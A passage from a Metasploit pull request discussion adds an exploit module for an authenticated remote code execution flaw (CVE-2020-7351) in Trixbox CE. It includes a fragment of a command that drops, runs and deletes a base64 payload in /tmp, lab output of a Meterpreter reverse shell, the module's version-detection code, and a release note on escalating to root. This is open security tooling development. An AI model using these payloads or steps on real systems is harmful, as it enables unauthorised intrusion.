'/tmp/RBUGF' < '/tmp/OQykC.b64' ; chmod +x '/tmp/RBUGF' ; '/tmp/RBUGF' ; rm -f '/tmp/RBUGF' ; rm -f '/tmp/OQykC.b64'"]
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (980808 bytes) to 192.168.205.150
[*] Meterpreter session 4 opened (192.168.205.1:4444 -> 192.168.205.150:60710) at 2020-05-03 23:27:00 -0500
[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter > id
[-] Unknown command: id.
meterpreter > getuid
Server username: no-user @ trixbox1.localdomain (uid=102, gid=103, euid=102, egid=103)
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.205.150 - Meterpreter session 4 closed.  Reason: User exit
```

Looking at the code for later versions I can see that your regex would work better. What I propose is perhaps combing both together:

```
version = res.body.scan(/v(\d.\d.{0,1}\d{0,1})/).flatten.first
    if version.nil?
      version = res.body.scan(/Version: (\d.\d.{0,1}\d{0,1})/).flatten.first
      if version.nil?
        print_error("Unable to grab version of Trixbox installed on target!")
        return nil
       end
    end
```

Updated with that -more accurate- version detection.

gwillcox-r7 commented on May 4, 2020 — Contributor

@stasinopoulos Finally got this working, sorry for the delay. New code should be this (ignore the surrounding bits, this is more to show the update to the regex and to the version check):

```
def get_target(res)
    version = res.body.scan(/v(\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first
    if version.nil?
      version = res.body.scan(/Version: (\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first
      if version.nil?
        print_error("#{peer} - Unable to grab version of Trixbox CE installed on target!")
        return nil
      end
    end
    print_good("#{peer} - Trixbox CE v#{version} identified.")
    if Gem::Version.new(version).between?(Gem::Version.new('2.6.0.0'), Gem::Version.new('2.8.0.4'))
      @uri = normalize_uri(target_uri.path, '/maint/modules/endpointcfg/endpoint_devicemap.php')
    elsif Gem::Version.new(version).between?(Gem::Version.new('2.0.0.0'), Gem::Version.new('2.4.9.9'))
      @uri = normalize_uri(target_uri.path, '/maint/modules/11_endpointcfg/endpoint_devicemap.php')
    elsif Gem::Version.new(version).between?(Gem::Version.new('1.2.0.0'), Gem::Version.new('1.9.9.9'))
      @uri = normalize_uri(target_uri.path, '/maint/endpoint_devicemap.php')
    else
      return nil
    end
```

1

Trixbox CE <= v2.8.0.4 Authenticated RCE ··· ✓ 18ebf5e

gwillcox-r7 merged commit **d2b196f** into `rapid7:master` on May 4, 2020

1 of 3 checks passed

View details

gwillcox-r7 commented on May 4, 2020 • edited by tperry-r7 — Contributor

Release Notes

This adds in a module for CVE-2020-7351, an authenticated RCE in the `endpoint_devicemap.php` page of Trixbox CE devices running version 1.2.0 to 2.8.0.4 inclusive. Successful exploitation results in RCE as the `asterisk` user, however users can easily elevate their privileges to the `root` user by utilizing an outdated version of Nmap that comes installed by default on these devices.

gwillcox-r7 added the docs label on May 4, 2020

gwillcox-r7 commented on May 4, 2020 — Contributor

@stasinopoulos Discussed this over Slack but leaving it here for reference: we had to rebase this into one commit due to a bunch of merge conflicts when trying to squash the 60+ commits we had before down into a smaller number of commits. Although my name may appear on the commit, your name still appears when doing `git log` so hopefully that should be okay.

Congrats again on your first commit to the framework and on getting a CVE for this bug! Look forwards to seeing more contributions in the future!

💔 1

gwillcox-r7 added the **rn-modules** label on May 7, 2020

Reviewers

- bcoles
- todb-r7
- wvu
- gwillcox-r7

Assignees

- todb-r7
- gwillcox-r7

Labels

docs **module** **rn-modules**

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

None yet

6 participants